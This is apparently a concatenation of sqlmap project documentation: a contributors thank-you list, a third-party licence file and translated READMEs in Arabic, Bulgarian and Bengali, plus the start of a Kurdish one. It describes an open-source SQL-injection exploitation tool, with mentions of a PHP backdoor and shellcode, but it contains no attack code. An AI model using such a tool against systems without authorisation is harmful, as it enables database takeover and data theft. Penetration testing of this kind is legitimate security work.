appreciated feedback * for suggesting a lot of ideas and features Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md Francesco Marano, * for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py Ferruh Mavituna, * for exchanging ideas on the implementation of a couple of features David McNab, * for his XMLObject module that allows XML files to be operated on like Python objects Spencer J. McIntyre, * for reporting a minor bug * for contributing a patch for OS fingerprinting on DB2 Brad Merrell, * for reporting a minor bug Michael Meyer, * for suggesting a minor feature Enrico Milanese, * for reporting a minor bug * for sharing some ideas for the PHP backdoor Liran Mimoni, * for reporting a minor bug Marco Mirandola, * for reporting a minor bug Devon Mitchell, * for reporting a minor bug Anton Mogilin, * for reporting a few bugs Sergio Molina, * for reporting a minor bug Anastasios Monachos, * for providing some useful data * for suggesting a feature * for reporting a couple of bugs Kirill Morozov, * for reporting a bug * for suggesting a feature Alejo Murillo Moya, * for reporting a minor bug * for suggesting a few features Yonny Mutai, * for reporting a minor bug Roberto Nemirovsky, * for pointing out some enhancements Sebastian Nerz, * for reporting a (potential) vulnerability in --eval Simone Onofri, * for patching the PHP web backdoor to make it work properly also on Windows Michele Orru, * for reporting a couple of bug * for suggesting ideas on how to implement the RESTful API Shaohua Pan, * for reporting several bugs * for suggesting a few features Antonio Parata, * for sharing some ideas for the PHP backdoor Adrian Pastor, * for donating to sqlmap development Christopher Patten, * for reporting a bug in the blind SQL injection bisection algorithm Zack Payton, * for reporting a minor bug Jaime Penalba, * for contributing a patch for INSERT/UPDATE generic boundaries Pedrito Perez, <0ark1ang3l(at)gmail.com> * for reporting a couple of bugs Brandon Perry, * for reporting a couple of bugs Travis Phillips, * for suggesting a minor enhancement Mark Pilgrim, * for porting chardet package (Universal Encoding Detector) to Python Steve Pinkham, * for suggesting a feature * for contributing a new SQL injection vector (MSSQL time-based blind) * for donating to sqlmap development Adam Pridgen, * for suggesting some features Luka Pusic, * for reporting a couple of bugs Ole Rasmussen, * for reporting a bug * for suggesting a feature Alberto Revelli, * for inspiring to write sqlmap user's manual in SGML * for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net David Rhoades, * for reporting a bug Andres Riancho, * for beta-testing sqlmap * for reporting a bug and suggesting some features * for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net * for suggesting a way for handling DNS caching Jamie Riden, * for reporting a minor bug Alexander Rigbo, * for contributing a minor patch Antonio Riva, * for reporting a bug when running with python 2.5 Ethan Robish, * for reporting a bug Levente Rog, * for reporting a minor bug Andrea Rossi, * for reporting a minor bug * for suggesting a feature Frederic Roy, * for reporting a couple of bugs Vladimir Rutsky, * for suggesting a couple of minor enhancements Richard Safran, * for donating the sqlmap.org domain Tomoyuki Sakurai, * for submitting to the FreeBSD project the sqlmap 0.5 port Roberto Salgado, * for contributing considerable amount of tamper scripts Pedro Jacques Santos Santiago, * for reporting considerable amount of bugs Marek Sarvas, * for reporting several bugs Philippe A. R. Schaeffer, * for reporting a minor bug Henri Salo * for a donation Mohd Zamiri Sanin, * for reporting a minor bug Jorge Santos, * for reporting a minor bug Sven Schluter, * for contributing a patch * for waiting a number of seconds between each HTTP request Ryan Sears, * for suggesting a couple of enhancements * for donating to sqlmap development Uemit Seren, * for reporting a minor adjustment when running with python 2.6 Shane Sewell, * for suggesting a feature Ahmed Shawky, * for reporting a major bug with improper handling of parameter values * for reporting a bug Brian Shura, * for reporting a bug Sumit Siddharth, * for sharing ideas on the implementation of a couple of features Andre Silva, * for reporting a bug Benjamin Silva H. * for reporting a bug Duarte Silva * for reporting a couple of bugs M Simkin, * for suggesting a feature Tanaydin Sirin, * for implementation of ncurses TUI (switch --tui) Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server Chris Spencer, * for reviewing the user's manual grammar Michael D. Stenner, * for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections Marek Stiefenhofer, * for reporting a few bugs Jason Swan, * for reporting a bug when enumerating columns on Microsoft SQL Server * for suggesting a couple of improvements Chilik Tamir, * for contributing a patch for initial support SOAP requests Alessandro Tanasi, * for extensively beta-testing sqlmap * for suggesting many features and reporting some bugs * for reviewing the documentation Andres Tarasco, * for contributing good feedback Tom Thumb, * for reporting a major bug Kazim Bugra Tombul, * for reporting a minor bug Efrain Torres, * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework Jennifer Torres, * for contributing a tamper script luanginx.py Sandro Tosi, * for helping to create sqlmap Debian package correctly Jacco van Tuijl, * for reporting several bugs Vitaly Turenko, * for reporting a bug Augusto Urbieta, * for reporting a minor bug Bedirhan Urgun, * for reporting a few bugs * for suggesting some features and improvements * for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench Kyprianos Vasilopoulos, * for reporting a couple of minor bugs Vlado Velichkovski, * for reporting considerable amount of bugs * for suggesting an enhancement Johnny Venter, * for reporting a couple of bugs Carlos Gabriel Vergara, * for suggesting couple of good features Patrick Webster, * for suggesting an enhancement * for donating to sqlmap development (from OSI.Security) Ed Williams, * for suggesting a minor enhancement Anthony Zboralski, * for providing with detailed feedback * for reporting a few minor bugs * for donating to sqlmap development Thierry Zoller, * for reporting a couple of major bugs Zhen Zhou, * for suggesting a feature -insane-, * for reporting a minor bug 1ndr4 joe, * for reporting a couple of bugs abc abc, * for reporting a minor bug Abuse 007, * for reporting a bug agix, * for contributing the file upload via certutil.exe functionality Alex, * for reporting a minor bug anonymous anonymous, * for reporting a couple of bugs bamboo, * for reporting a couple of bugs Brandon E., * for reporting a bug black zero, * for reporting a minor bug blueBoy, * for reporting a bug buawig, * for reporting considerable amount of bugs Bugtrace, * for reporting several bugs cats, * for reporting a couple of bugs Christian S, * for reporting a minor bug clav, * for reporting a minor bug dragoun dash, * for reporting a minor bug flsf, * for contributing WAF scripts 360.py, anquanbao.py, baidu.py, safedog.py * for contributing a minor patch fufuh, * for reporting a bug when running on Windows Hans Wurst, * for reporting a couple of bugs Hysia, * for contributing a Chinese translation of README.md james, * for reporting a bug Joe "Pragmatk", * for reporting a few bugs John Smith, * for reporting several bugs * for suggesting some features m4l1c3, * for reporting considerable amount of bugs mariano, * for reporting a bug mitchell, * for reporting a few bugs Nadzree, * for reporting a minor bug nightman, * for reporting considerable amount of bugs Oso Dog osodog123(at)yahoo.com * for reporting a minor bug pacman730, * for reporting a bug pentestmonkey, * for reporting several bugs * for suggesting a few minor enhancements Phat R., * for reporting a few bugs Phil P, <(at)superevr> * for suggesting a minor enhancement ragos, * for reporting a minor bug rmillet, * for reporting a bug Rub3nCT, * for reporting a minor bug sapra, * for helping out with Python multiprocessing library on MacOS shiftzwei, * for reporting a couple of bugs smith, * for reporting a minor bug Soma Cruz, * for reporting a minor bug Spiros94, * for contributing a Greek translation of README.md Stuffe, * for reporting a minor bug and a feature request Sylphid, * for suggesting some features syssecurity.info, * for reporting a minor bug This LittlePiggy, * for reporting a minor bug ToR, * for reporting considerable amount of bugs * for suggesting a feature ultramegaman, * for reporting a minor bug Vinicius, * for reporting a minor bug virusdefender * for contributing WAF scripts safeline.py w8ay * for contributing an implementation for chunked transfer-encoding (switch --chunked) wanglei, * for reporting a minor bug warninggp, * for reporting a few minor bugs x, * for reporting a bug zhouhx, * for contributing a minor patch # Organizations Black Hat team, * for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation * Homepage: http://goo.gl/BKfs7 * Slides: http://goo.gl/Dh65t * White paper: http://goo.gl/spX3N SOURCE Conference team, * for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation * Homepage: http://goo.gl/IeXV4 * Slides: http://goo.gl/OKnfj AthCon Conference team, * for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation * Homepage: http://goo.gl/Fs71I * Slides: http://goo.gl/QMfjO Metasploit Framework development team, * for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server * Homepage: http://www.metasploit.com OWASP Board, * for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 * Homepage: http://www.owasp.org ================================================ FILE: doc/THIRD-PARTY.md ================================================ This file lists bundled packages and their associated licensing terms. # BSD * The `Ansistrm` library located under `thirdparty/ansistrm/`. Copyright (C) 2010-2012, Vinay Sajip. * The `Beautiful Soup` library located under `thirdparty/beautifulsoup/`. Copyright (C) 2004-2010, Leonard Richardson. * The `ClientForm` library located under `thirdparty/clientform/`. Copyright (C) 2002-2007, John J. Lee. Copyright (C) 2005, Gary Poster. Copyright (C) 2005, Zope Corporation. Copyright (C) 1998-2000, Gisle Aas. * The `Colorama` library located under `thirdparty/colorama/`. Copyright (C) 2013, Jonathan Hartley. * The `Fcrypt` library located under `thirdparty/fcrypt/`. Copyright (C) 2000, 2001, 2004 Carey Evans. * The `SocksiPy` library located under `thirdparty/socks/`. Copyright (C) 2006, Dan-Haim. ```` Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ```` # LGPL * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. * The `KeepAlive` library located under `thirdparty/keepalive/`. Copyright (C) 2002-2003, Michael D. Stenner. * The `MultipartPost` library located under `thirdparty/multipart/`. Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. ```` GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. ```` # PSF * The `Magic` library located under `thirdparty/magic/`. Copyright (C) 2011, Adam Hupp. ```` PSF LICENSE AGREEMENT FOR PYTHON 2.7.3 This LICENSE AGREEMENT is between the Python Software Foundation (“PSF”), and the Individual or Organization (“Licensee”) accessing and otherwise using Python 2.7.3 software in source or binary form and its associated documentation. Subject to the terms and conditions of this License Agreement, PSF hereby grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 2.7.3 alone or in any derivative version, provided, however, that PSF’s License Agreement and PSF’s notice of copyright, i.e., “Copyright © 2001-2012 Python Software Foundation; All Rights Reserved” are retained in Python 2.7.3 alone or in any derivative version prepared by Licensee. In the event Licensee prepares a derivative work that is based on or incorporates Python 2.7.3 or any part thereof, and wants to make the derivative work available to others as provided herein, then Licensee hereby agrees to include in any such work a brief summary of the changes made to Python 2.7.3. PSF is making Python 2.7.3 available to Licensee on an “AS IS” basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 2.7.3 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 2.7.3 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 2.7.3, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. This License Agreement will automatically terminate upon a material breach of its terms and conditions. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between PSF and Licensee. This License Agreement does not grant permission to use PSF trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party. By copying, installing or otherwise using Python 2.7.3, Licensee agrees to be bound by the terms and conditions of this License Agreement. ```` # MIT * The `bottle` web framework library located under `thirdparty/bottle/`. Copyright (C) 2024, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. Copyright (C) 2019-2021, Miroslav Stampar. * The `ordereddict` library located under `thirdparty/odict/`. Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. Copyright (C) 2010-2024, Benjamin Peterson. * The `Termcolor` library located under `thirdparty/termcolor/`. Copyright (C) 2008-2011, Volvox Development Team. ```` Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ```` # Public domain * The `PyDes` library located under `thirdparty/pydes/`. Copyleft 2009, Todd Whiteman. * The `win_inet_pton` library located under `thirdparty/wininetpton/`. Copyleft 2014, Ryan Vennell. ================================================ FILE: doc/translations/README-ar-AR.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
برنامج sqlmap هو أداة اختبار اختراق مفتوحة المصدر تقوم بأتمتة عملية اكتشاف واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كشف قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترف، ومجموعة واسعة من الخيارات بما في ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملفات الأساسي، وتنفيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق. لقطات الشاشة ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات في الويكي. التثبيت ---- يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master). يفضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** و **2.7** و **3.x** على أي نظام تشغيل. الاستخدام ---- للحصول على قائمة بالخيارات والمفاتيح الأساسية استخدم:
python sqlmap.py -h
للحصول على قائمة بجميع الخيارات والمفاتيح استخدم:
python sqlmap.py -hh
يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601). للحصول على نظرة عامة على إمكانيات sqlmap، وقائمة الميزات المدعومة، ووصف لجميع الخيارات والمفاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage). الروابط ---- * الصفحة الرئيسية: https://sqlmap.org * التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues * دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki * الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * تويتر: [@sqlmap](https://x.com/sqlmap) * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-bg-BG.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. Демо снимки ---- ![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи някои функции, качени на wiki. Инсталиране ---- Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.7** и **3.x** на всички платформи. Използване ---- За да получите списък с основните опции използвайте: python sqlmap.py -h За да получите списък с всички опции използвайте: python sqlmap.py -hh Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601). За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Връзки ---- * Начална страница: https://sqlmap.org * Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Упътване: https://github.com/sqlmapproject/sqlmap/wiki * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-bn-BD.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও। স্ক্রিনশট --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-এর বিভিন্ন ফিচারের ডেমোনস্ট্রেশন দেখতে পারেন। ইনস্টলেশন --- সর্বশেষ টারবলে ডাউনলোড করুন [এখানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সর্বশেষ জিপ ফাইল [এখানে](https://github.com/sqlmapproject/sqlmap/zipball/master)। অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে ক্লোন করুন: ``` git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev ``` SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে। ব্যবহারের নির্দেশিকা --- বেসিক অপশন এবং সুইচসমূহ দেখতে ব্যবহার করুন: ``` python sqlmap.py -h ``` সমস্ত অপশন ও সুইচের তালিকা পেতে ব্যবহার করুন: ``` python sqlmap.py -hh ``` আপনি একটি নমুনা রান দেখতে পারেন [এখানে](https://asciinema.org/a/46601)। SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এবং কনফিগারেশন সম্পর্কে বিস্তারিত জানতে [ব্যবহারকারীর ম্যানুয়াল](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামর্শ দেওয়া হচ্ছে। লিঙ্কসমূহ --- * হোমপেজ: https://sqlmap.org * ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom * ইস্যু ট্র্যাকার: https://github.com/sqlmapproject/sqlmap/issues * ব্যবহারকারীর ম্যানুয়াল: https://github.com/sqlmapproject/sqlmap/wiki * সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-ckb-KU.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
